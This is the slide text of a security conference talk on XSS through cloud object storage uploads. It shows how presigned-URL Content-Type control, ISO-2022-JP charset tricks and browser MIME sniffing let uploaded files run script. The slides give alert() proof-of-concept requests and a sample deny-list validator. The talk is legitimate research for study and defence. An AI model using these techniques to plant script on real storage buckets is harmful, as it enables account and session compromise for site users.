クラウドから落とされた汚れた贈り物

4.3K Views

April 14, 25

スライド概要

シェア

またはPlayer版

埋め込む »CMSなどでJSが使えない場合

関連スライド

各ページのテキスト
1.

A sullied gift, 
 fallen from the clouds, 
 untouched by grace. JA Title: クラウドから落とされた汚れた贈り物 Azara / @a_zara_n / Norihide Saito Browser Crash Club #1 #BrowserCrashClub

2.

Time Table 1 Differences from traditional 
 file-based XSS So much for trust — 
 2 turns out, Content-Type is changeable after all. 3 A conflict of interpretation: 
 HTTP headers vs. browser behavior 4 The browser can’t understand what 
 the server is saying —an abuse of the MIME sniffer.

3.

Self Introduce Name Azara / @a_zara_n / Norihide Saito Belong to Attributes Security engineer ❤️ I ❤️ ・ ・ ❤️ I ❤️Cloud ❤️ I ❤️Web ❤️ I ❤️

4.

Building on what we’ve covered so far, let’s explore some lesser-known behaviors of the MIME sniffer. https://blog.flatt.tech/entry/object_storage https://blog.flatt.tech/entry/content_type

5.

Today’s presentation 
 in one picture! So… 15 minutes might be a bit optimistic.....

6.

1 Differences from traditional 
 file-based XSS 従来のファイル起因のXSSとの違い

7.

In traditional XSS attacks using file upload features, 
 the attacker was only able to manipulate two aspects the file contents and its extension Even within those limitations, attackers have managed to exploit weaknesses by bypassing constraints, abusing misconfigurations, and leveraging quirks in browser behavior to trigger XSS. Examples Bypassing file extension restriction Encoding tricks to affect character set interpretation

8.

Basic file upload feature POST /image/xxxx.png HTTP/1.1 Host: example.test Content-Type: image/png ......Body...... HTTP/1.1 200 OK Content-Type: text/plain OK

9.

Basic file upload feature GET /image/xxxx.png HTTP/1.1 Host: example.test HTTP/1.1 200 OK Content-Type: image/png ......Body......

10.

Basic file upload feature - XSS POST /image/xxxx.svg HTTP/1.1 Host: example.test Content-Type: image/svg+xml <script>alert(”XSS”)</script> HTTP/1.1 200 OK Content-Type: text/plain OK

11.

Basic file upload feature - XSS POST /image/xxxx.svg HTTP/1.1 Host: example.test Content-Type: image/svg+xml The request’s Content-Type generally does not influence how the server determines the Content-Type of its response. <script>alert(”XSS”)</script> HTTP/1.1 200 OK Content-Type: text/plain OK

12.

Basic file upload feature - XSS GET /image/xxxx.svg HTTP/1.1 Host: example.test HTTP/1.1 200 OK Content-Type: ????????? <script>alert(”XSS”)</script>

13.

Basic file upload feature - XSS Content-Type isn’t always explicitly set — servers often sniff it from the file’s GET /image/xxxx.svg HTTP/1.1 extension or actual content. Host: example.test HTTP/1.1 200 OK Content-Type: image/svg+xml or text/html <script>alert(”XSS”)</script>

14.

Basic file upload feature - Charset POST /files/xxxx.txt HTTP/1.1 Host: example.test Content-Type: text/plain ....<input type="text" value="(0x1B)(0x24)(0x42)">
 (0x1B)(0x28)(0x42)"onmouseover=alert(1).... HTTP/1.1 200 OK Content-Type: text/plain 参考: https://hasegawa.hatenablog.com/entry/2025/01/02/203722 OK

15.

Basic file upload feature - Charset GET /files/xxxx.php?path=xxxx.txt HTTP/1.1 Host: example.test Malicious use of ISO-2022-JP escape sequences can trigger unintended behavior in browser rendering or script parsing. HTTP/1.1 200 OK Content-Type: text/html <input type="text" value="(0x1B)(0x24)(0x42)\"\>(0x1B)(0x28)(0x42)" 
 onmouseover=alert(1) />

16.

However, with the rise of Object Storage, attackers have gained additional control — they can now influence how the browser interprets the file. Specifically, attackers can now manipulate: • Content-Type • Content-Disposition This significantly expands the attack surface, allowing for more reliable and flexible XSS exploitation.

17.

Relevant object storage metadata Content-Type text/html Content-Disposition attachment; filename="example.txt" Cache-Control ....

18.

S3 file upload feature - PreSigned URL POST /amzn-s3-demo-bucket/images/xxxx.png?....... HTTP/1.1 Host: s3.ap-northeast-1.amazon.com Content-Type: image/png ......PNG...... HTTP/1.1 200 OK Content-Type: text/plain OK

19.

S3 file upload feature - PreSigned URL POST /amzn-s3-demo-bucket/images/xxxx.png?....... HTTP/1.1 Host: s3.ap-northeast-1.amazon.com Content-Type: image/png Content-Type ......PNG...... image/png HTTP/1.1 200 OK Content-Type: text/plain OK

20.

S3 file upload feature - PreSigned URL GET /amzn-s3-demo-bucket/images/xxxx.png?...... HTTP/1.1 Host: s3.ap-northeast-1.amazon.com HTTP/1.1 200 OK Content-Type: image/png ......PNG......

21.

2 So much for trust — turns out, Content-Type is changeable after all. 信用してたのに - Content-Typeは変えられる

22.

In traditional server-side implementations, the ContentType header was either sniffed from the file or hardcoded by the backend As a result, user input had very limited influence over the Content-Type value.

23.

Basic file upload feature - once again POST /image/xxxx.png HTTP/1.1 Host: example.test Content-Type: image/png The request’s Content-Type generally does not influence how the server determines the Content-Type of its response. ......PNG...... HTTP/1.1 200 OK Content-Type: text/plain OK

24.

Basic file upload feature - once again Content-Type isn’t always explicitly set — servers often sniff it from the file’s GET /image/xxxx.png HTTP/1.1 extension or actual content. Host: example.test HTTP/1.1 200 OK Content-Type: image/png ......PNG......

25.

In contrast, with Object Storage, it is often possible to specify arbitrary Content-Type values depending on the configuration.

26.

S3 file upload feature - PreSigned URL POST /amzn-s3-demo-bucket/images/xxxx.png?....... HTTP/1.1 Host: s3.ap-northeast-1.amazon.com Content-Type: text/html ....<script>alert(“XSS”)</script>.... HTTP/1.1 200 OK Content-Type: text/plain OK

27.

S3 file upload feature - PreSigned URL POST /amzn-s3-demo-bucket/images/xxxx.png?....... HTTP/1.1 Host: s3.ap-northeast-1.amazon.com Content-Type: text/html ....<script>alert(“XSS”)</script>.... Content-Type text/html HTTP/1.1 200 OK Content-Type: text/plain OK

28.

S3 file upload feature - PreSigned URL GET /amzn-s3-demo-bucket/images/xxxx.png?...... HTTP/1.1 Host: s3.ap-northeast-1.amazon.com HTTP/1.1 200 OK Content-Type: text/html ....<script>alert(“XSS”)</script>....

29.

This shift means that something which was previously considered trustworthy — the Content-Type — can no longer be fully trusted.

30.

3 A conflict of interpretation: 
 HTTP headers vs. browser behavior 解釈の違い - HTTPとブラウザのMimeType

31.

Differences Between RFC-Defined Content-Type and MIME Type Semantics in the WHATWG Specification

40.

RFCs define a single value for each MIME type.Let’s take 
 a look at how this is implemented in modern web frameworks.

41.
[beta]
Content-Type Handling in Multer

1

2

3

4

5

6

7

8

if (header['content-type']) {

const conType = parseContentType(header['content-type'][0]);

if (conType) {

partType = `${conType.type}/${conType.subtype}`;

if (conType.params && typeof conType.params.charset === 'string')

partCharset = conType.params.charset.toLowerCase();

}

}

https://github.com/mscdex/busboy/blob/master/lib/types/multipart.js

43.

Let’s explore how this works internally in Chromium. https://source.chromium.org/chromium/chromium/src/+/ main:net/http/http_response_headers.cc;l=1060? q=HttpUtil::ParseContentType

44.

4 The browser can’t understand what 
 the server is saying —an abuse of the MIME sniffer. 何を言っているのか? MimeSnifferの悪用

45.

If the Content-Type is missing or an error occurs during parsing, browsers fall back on MIME sniffing — attempting to determine the MIME type by examining the file’s actual content.

46.

When Object Storage enforces certain constraints or validations on the Content-Type header — preventing attackers from setting an arbitrary value —it is still possible to abuse MIME sniffing behavior to trick the browser into interpreting the response as HTML.

47.
[beta]
1

2

3

4

5

6

7

8

9

10

11


12

13

14

if (request.body.length > 1024 * 1024 * 100) {

return reply.code(400).send({ error: 'File too large' });

}


const denyStrings = new RegExp('[;,="\'()]');


if (denyStrings.test(request.body.contentType)) {

return reply.code(400).send({ error: 'Invalid content type' });

}


if (!request.body.contentType.startsWith('image') || !['jpeg', 'jpg', 'png',
'gif'].includes(request.body.contentType.split('/')[1])) {

return reply.code(400).send({ error: 'Invalid image type' });

}


49.

S3 file upload feature - PreSigned URL POST /amzn-s3-demo-bucket/images/xxxx.png?....... HTTP/1.1 Host: s3.ap-northeast-1.amazon.com Content-Type: text/html...? ←任意に設定できる ....<script>alert(“XSS”)</script>.... HTTP/1.1 200 OK Content-Type: text/plain OK

50.

However, the behavior of this feature varies across browsers.In WebKit-based browsers, abusing this mechanism is more difficult due to stricter handling,whereas in Chromium-based browsers, the behavior is more flexible and can be more easily exploited.

51.

https://docs.google.com/spreadsheets/d/1W7oGI-Xw2WK74sm6i7kz509Mj-kENuP-KGcIAedXHr8/edit

52.

Try it out! XS3 https://github.com/flatt-security/xs3